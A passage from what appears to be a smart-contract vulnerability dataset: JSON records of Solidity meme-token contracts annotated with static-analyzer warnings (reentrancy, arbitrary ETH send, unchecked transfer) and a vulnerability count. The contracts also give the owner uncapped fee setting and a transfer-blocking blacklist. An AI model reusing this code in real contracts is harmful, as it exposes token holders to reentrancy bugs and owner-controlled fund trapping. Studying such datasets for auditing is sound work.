(see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 176b1b1\n\t\t\t\t// reentrancy-benign | ID: 9ffde78\n\t\t\t\t// reentrancy-eth | ID: f2e70f8\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 176b1b1\n\t\t\t\t\t// reentrancy-eth | ID: f2e70f8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9ffde78\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 9ffde78\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9ffde78\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 9ffde78\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 176b1b1\n\t\t// reentrancy-benign | ID: 9ffde78\n\t\t// reentrancy-eth | ID: f2e70f8\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f19ddb3\n\t\t// reentrancy-events | ID: 176b1b1\n\t\t// reentrancy-benign | ID: 9ffde78\n\t\t// reentrancy-benign | ID: ab8ba7b\n\t\t// reentrancy-eth | ID: f2e70f8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f19ddb3\n\t\t// reentrancy-events | ID: 176b1b1\n\t\t// reentrancy-eth | ID: f2e70f8\n _marketingAddress.transfer(amount);\n }\n\n function setTrading() public onlyOwner {\n require(tradingOpen == false, \"Trading already open!\");\n\n tradingOpen = true;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: f2e70f8\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: f2e70f8\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 176b1b1\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: f2e70f8\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: f2e70f8\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 9ffde78\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b6a8622): ABE.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for b6a8622: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: b6a8622\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: b6a8622\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: b6a8622\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: b6a8622\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 14e48ad): ABE.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 14e48ad: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 14e48ad\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 141bc7f): ABE.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 141bc7f: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 141bc7f\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a341963): ABE.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for a341963: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: a341963\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n",
"file_name": "solidity_code_10256.sol",
"size_bytes": 22762,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Bullofcryptostreet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95d2497): Bullofcryptostreet._taxWallet should be immutable \n\t// Recommendation for 95d2497: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 070b090): Bullofcryptostreet._initialBuyTax should be constant \n\t// Recommendation for 070b090: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7c5ae01): Bullofcryptostreet._initialSellTax should be constant \n\t// Recommendation for 7c5ae01: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 966f73e): Bullofcryptostreet._reduceBuyTaxAt should be constant \n\t// Recommendation for 966f73e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f73513): Bullofcryptostreet._reduceSellTaxAt should be constant \n\t// Recommendation for 1f73513: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3186f49): Bullofcryptostreet._preventSwapBefore should be constant \n\t// Recommendation for 3186f49: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bull Of Crypto Street\";\n\n string private constant _symbol = unicode\"BULL\";\n\n uint256 public _maxTxAmount = 3000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 3000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8513e44): Bullofcryptostreet._taxSwapThreshold should be constant \n\t// Recommendation for 8513e44: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 879c466): Bullofcryptostreet._maxTaxSwap should be constant \n\t// Recommendation for 879c466: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c4dd2fa): Bullofcryptostreet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c4dd2fa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e71df5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e71df5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 69e8ba2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 69e8ba2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5e71df5\n\t\t// reentrancy-benign | ID: 69e8ba2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5e71df5\n\t\t// reentrancy-benign | ID: 69e8ba2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 388e614): Bullofcryptostreet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 388e614: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 69e8ba2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5e71df5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 43dbefe): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 43dbefe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ec1dbe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ec1dbe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 43dbefe\n\t\t\t\t// reentrancy-eth | ID: 8ec1dbe\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 43dbefe\n\t\t\t\t\t// reentrancy-eth | ID: 8ec1dbe\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8ec1dbe\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8ec1dbe\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ec1dbe\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 43dbefe\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ec1dbe\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ec1dbe\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 43dbefe\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5e71df5\n\t\t// reentrancy-events | ID: 43dbefe\n\t\t// reentrancy-benign | ID: 69e8ba2\n\t\t// reentrancy-eth | ID: 8ec1dbe\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cff6a59): Bullofcryptostreet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cff6a59: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5e71df5\n\t\t// reentrancy-events | ID: 43dbefe\n\t\t// reentrancy-eth | ID: 8ec1dbe\n\t\t// arbitrary-send-eth | ID: cff6a59\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1f4f3ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1f4f3ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c804f8c): Bullofcryptostreet.opentrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c804f8c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a84fd2d): Bullofcryptostreet.opentrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a84fd2d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c7dd22c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c7dd22c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function opentrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1f4f3ee\n\t\t// reentrancy-eth | ID: c7dd22c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1f4f3ee\n\t\t// unused-return | ID: a84fd2d\n\t\t// reentrancy-eth | ID: c7dd22c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1f4f3ee\n\t\t// unused-return | ID: c804f8c\n\t\t// reentrancy-eth | ID: c7dd22c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1f4f3ee\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c7dd22c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ea31397): Bullofcryptostreet.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ea31397: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ea31397\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10257.sol",
"size_bytes": 20706,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint 